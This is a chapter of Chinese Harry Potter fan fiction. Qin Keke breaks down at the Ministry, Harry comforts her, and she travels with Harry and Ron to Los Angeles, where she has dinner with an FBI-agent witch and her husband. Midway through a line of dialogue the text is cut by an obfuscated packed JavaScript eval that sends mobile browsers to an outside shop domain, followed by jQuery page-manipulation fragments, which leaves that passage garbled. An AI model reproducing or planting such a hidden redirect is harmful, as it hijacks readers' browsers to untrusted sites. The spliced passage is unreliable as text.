重返魔法部，秦可可敏锐地察觉到一种异样的亢奋。整个大厅像一锅煮沸的水，巫师们脚步匆匆，袍角翻飞，脸上交织着恐惧、忙碌与一种莫名的使命感。她安静地坐在罗恩的办公室里，任由治疗师派伊往她眼角的伤口上滴药水。
淡绿色的药剂触碰到绽开的皮肉，发出轻微的“滋滋”声，像煎牛排时的动静。秦可可看着镜子里那道伤口以肉眼可见的速度愈合、收拢，最后只留下一道浅白色的细痕。
“多少会留一点点印记，不过坚持涂这个，”派伊递过一个棕色小瓶，“过阵子就瞧不见了。”
秦可可道了谢。派伊离开后，罗恩拉过一把椅子，大剌剌地反着骑坐上去，下巴搁在椅背上，眯着眼打量她。
“窝脸上有脏东西？”秦可可被他看得浑身不自在。
“不是，”罗恩抱着手臂，腆着肚子，语气带着探究，“就是觉得你怪怪的。跟之前不一样了。”
秦可可垂下眼睑，掩住眼底一闪而过的冷嘲，面上只浮起一个浅淡的弧度：“归心似箭罢了。”
“唉，这恐怕还得等等。”罗恩用一种故作欢快的语调说道，仿佛在谈论一件趣事，“之前不是说要带你去美国，找戈德斯坦恩家的人帮你提取记忆嘛。那边对大脑封闭术和记忆魔法研究得深……”
罗恩的声音像一把钝锯子，在秦可可紧绷的神经上反复拉扯。她听着他絮叨美国巫师如何不同、纽约如何繁华，仿佛她之前的出走、机场的袭击、脸上的伤疤，都只是餐桌上一段无关痛痒的佐餐谈资。那股被压抑的怒火，混合着无力感、羞辱感和一种说不清道不明的委屈，猛地窜了上来。
“闭嘴！闭嘴！闭嘴！！！”
秦可可终于爆发了。她一声比一声尖厉地嘶喊出来，声音在办公室里回荡，刺耳欲聋。罗恩吓得张大嘴巴，像一条搁浅的鱼，半天合不拢。秦可可不想让别人看到自己狰狞的表情，她死死捂住耳朵，把自己蜷缩成更小的一团，身体因剧烈的愤怒而无法控制地颤抖。她分不清这怒火究竟源于何处——是身处棋局的无力？是被当作工具的屈辱？还是那点可笑的、付诸流水的真心？她甚至对自己此刻的失控感到愤怒，恨自己如此脆弱不堪。
尖叫引来了不少围观者，他们扒着门框，探头探脑。罗恩手足无措地站在原地，想劝又不知从何说起。这时，哈利从人群中挤进来，反手关上了门。“咔哒”一声轻响，隔绝了外面的视线，也让秦可可的尖叫戛然而止。
她浑身抖得像秋风中的落叶，依旧蜷缩着。哈利走过去，没有立刻说话，只是在她身边坐下，伸出手臂，将她轻轻揽进怀里。他的动作很稳，像安抚一只受惊过度的小兽，手掌一下，又一下，缓慢而坚定地轻抚着她的后背。起初秦可可还有些僵硬地抗拒，但在那稳定节奏的安抚下，紧绷的肌肉渐渐松弛下来。
“这没什么，”哈利的声音低沉，有一部分透过胸腔的震动传到她耳边，闷闷的，“这几天，对你来说，本来就非常困难。”
温热的湿意在哈利的胸前蔓延开来，灼伤了他的皮肤。掌心下的身体颤抖着，无声的哭泣着。纤细的手指抓紧了他的衣服，也抓紧了他的心脏。
秦可可几乎瘫软在他怀里，精疲力竭。她缓了很久，才慢慢积攒起一点支撑自己的力量。察觉到她的平静，哈利稍稍拉开距离，低头看着她额角的冷汗，等待她的反应。
歇斯底里的风暴过后，心底只剩下硝烟弥漫的荒凉和一丝残留的火药味。秦可可也意识到自己刚才的失态有多荒谬。不能因为自己渴望被当作朋友，对方没满足期待，就有资格撒泼。她虽不清楚这份“理应如此”的底气从何而来，但冷静下来的她，并非不能面对自己的过错。
“抱歉，窝的情绪……有些失控了。”她低声道，嗓子因尖叫而沙哑。
“没事，没事，”罗恩赶紧打圆场，挠了挠脸，“你已经很勇敢了，真的。”
秦可可深呼吸几次，抬头看向哈利，对方眼中真切的关心让她如同被蜇了一下一般，立刻又低下了头。
“还是……”，哈利顿了一下，“先住在你家吧，罗恩。”
哈利站起身，做出决定，“去美国的事，我会尽快安排。”
秦可可明白了。不解决那个疯子，她是回不了家的。且不说魔法部这边还需要自己脑子里的线索，单单自己吸引那人第二次来袭击她这件事，就足以她被英国魔法部扣押。退一步讲，万一那人被她引去，父母怎么办？不如一了百了，在这里解决。这么一想，她对去美国倒也没那么抗拒了。
英国魔法部的效率惊人。仅仅一天，他们已经出现在了飞往美国的航班上。同行者只有哈利和罗恩。
“窝……没有美国签证吧？”秦可可看着手中那本略显单薄的护照，有些疑惑。
罗恩得意地挠了挠脸颊：“外交签证！美国魔法部特批给英国同行的。虽然你是个……”他卡了下壳，改口道，“呃，重要证人，但也享同等待遇！”
看着罗恩熟练地扣安全带，秦可可忍不住道：“窝以为你们巫师出国……不都靠门钥匙或者幻影移形吗？”
“门钥匙去美国？那得设多少中转站！”罗恩咧嘴一笑，“主要还是考虑你，怕你受不了。”
原来自己是那个“拖后腿”的。秦可可有点尴尬地扯了扯嘴角。好在魔法部的预算似乎很足，他们坐的是商务舱，七个多小时的飞行倒也没那么难熬。只是气氛有些凝滞。哈利全程沉默，戴着耳机看电影。秦可可则因之前的失态，无法再像从前那样与罗恩谈笑风生，也只好沉默。这可憋坏了活泼的罗恩，他一趟又一趟地按呼唤铃要饮料和小食，然后频繁出入卫生间。秦可可发誓，她看到空姐对着罗恩的背影偷偷翻了个优雅的白眼。
飞机落地洛杉矶已是华灯初上。刚走出廊桥，一位金发碧眼的年轻女性便迎了上来。她身材高挑健美，一身剪裁利落的黑色西装，笑容灿烂，一双湛蓝的眼睛明亮有神，在人群中格外醒目。她热情地与哈利、罗恩行了贴面礼。转向秦可可时，则友好地伸出了手。
“秦小姐，欢迎来到美国。我是艾米丽·莉莉怀特。”
“哦，艾米丽！真高兴见到你！”罗恩笑嘻嘻地说，“我可一直惦记着鲍比做的烤猪排呢！”
艾米丽闻言大笑，用力拍了拍罗恩的肩膀：“就知道你是为这个来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852401|211835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！早就准备好了！”
三人边说边笑地往外走。秦可可跟在后面，默默听着，她注意到艾米丽称呼哈利为吉姆，称呼罗恩为比利。相比哈利罗恩的英音，艾米丽的美国口音她更容易懂些，但语速太快，她只零星捕捉到“纽约”、“爆炸”、“五角大楼”几个词。
更让秦可可意外的是，艾米丽居然开着一辆黑色的雪佛兰Suburban。坐在真皮座椅上，秦可可忽然想起电影里FBI探员就爱开这种车。她这么想，也就这么问出了口。
艾米丽闻言，笑得更开心了：“没错！我就是FBI的探员。”她转头看了秦可可一眼，“双重身份有助于工作开展。而且在美国，我们和麻瓜政府的合作可比英国紧密多了。”
车子驶入一栋颇具加州风格的房子。开门的是一位褐色头发、身材魁梧的男子，笑容极具亲和力，下巴中间有个可爱的小窝，让秦可可莫名想到了“巴斯光年”。他戴着隔热手套，显然刚从厨房出来。看到哈利和罗恩，他兴奋地张开双臂拥抱，熟稔得很。艾米丽将秦可可介绍给他。
“这位是从英国来的秦可可。这是我丈夫，鲍比。”
鲍比的热情差点捏碎秦可可的手骨。他转身从冰箱拿出两瓶冰啤酒，熟稔地递给哈利和罗恩，又问秦可可想喝什么。秦可可本想试试那看起来金黄诱人的啤酒，但想到自己“一杯倒”的酒量，还是老实要了汽水。
汽水入口，秦可可的脸皱成了包子。
这什么味儿？蛇胆川贝枇杷膏混了点辣椒？一股浓郁的中药味还带着气泡的刺激。她低头看易拉罐——“Dr. Pepper”。胡椒医生？怪不得一股药味！美国人的口味果然清奇。她默默把易拉罐放回桌上。
晚餐算得上丰盛，但仔细一看，无非是烤土豆、烤蔬菜、各种沙拉叶子的组合。这种“白人饭”让秦可可产生了自己是只进食草料的兔子的错觉。鲍比开了一瓶红酒，倒酒时很自然地略过了秦可可。在艾米丽的提醒下，他才恍然大悟，看了眼资料，随即爆发出大笑。在众人的哄笑声中，秦可可再次体会到了被误认为未成年人的窘迫。
这个梗过不去了是吧？
秦可可一头黑线。
好在，罗恩心心念念的烤猪排外焦里嫩，味道确实惊艳——虽然秦可可敏锐地察觉到那猪肉有种只有她能分辨出的、类似腥膻的“怪味”。甜点是淡绿色的冰淇淋，秦可可满怀期待地舀了一大勺，结果薄荷巧克力的诡异组合直冲天灵盖，冻得她一个激灵。
真是一顿让人“无福消受”的大餐啊。秦可可揉着突突直跳的太阳穴，郁卒地想。
离开艾米丽家，入住酒店后，秦可可摸着半饱的肚子，无比怀念家里的红烧肉和麻辣烫。好在行李箱也运到了，她翻出一桶红烧牛肉面，准备加餐。然而，她带来的小电热水壶的插头，和酒店墙上的插座八字不合。翻遍行李，那个她以为万能的转换插头，也对不上眼。
万恶的资本主义！连个插头标准都不能统一！真该让秦始皇把你们都“书同文，车同轨”了！
秦可可站在门口，端着那桶孤独的泡面犹豫了好久，最终敲响了隔壁哈利的房门。